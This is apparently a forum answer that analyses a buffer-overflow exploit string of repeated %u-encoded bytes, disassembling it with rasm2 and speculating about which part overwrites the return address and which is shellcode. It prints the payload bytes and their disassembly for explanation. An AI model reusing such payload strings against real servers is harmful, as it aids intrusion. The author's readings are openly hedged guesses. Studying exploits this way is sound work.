I'm only speculating, but yes the N's are for the initial buffer overflow. You'll notice that %u9090%u6858%ucbd3%u7801
is repeated over and over. These are 8 bytes of unicode values in hexidecimal.
%u9090
is most likely a NOP
(no operation) machine instruction. In hexidecimal for Intel x86 then this instruction is one byte, 0x90
. So it repeats these 8 bytes 3 times. The purpose I'm guessing is to overwrite the return address with its own address.
Then you have %u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
. Which seems to me that this is the shell code needed to gain execution. If you remove the unicode designatore %u
you get a stream of instructions. Using radare2 you can run the following command on 90909090819000c300038b00531b53ff00780000
rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
push ebx
inc dword [eax]
js 0x13
.byte 0x00 1
Now I could be wrong about the first 3 repeated values. Maybe they're part of the shellcode. So lets just run the same command on the full byte string:
$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1
To learn more about how buffer overflows work; check out Why are buffer overflows executed in the direction they are?, and Security implications in neglecting trailing NULL byte.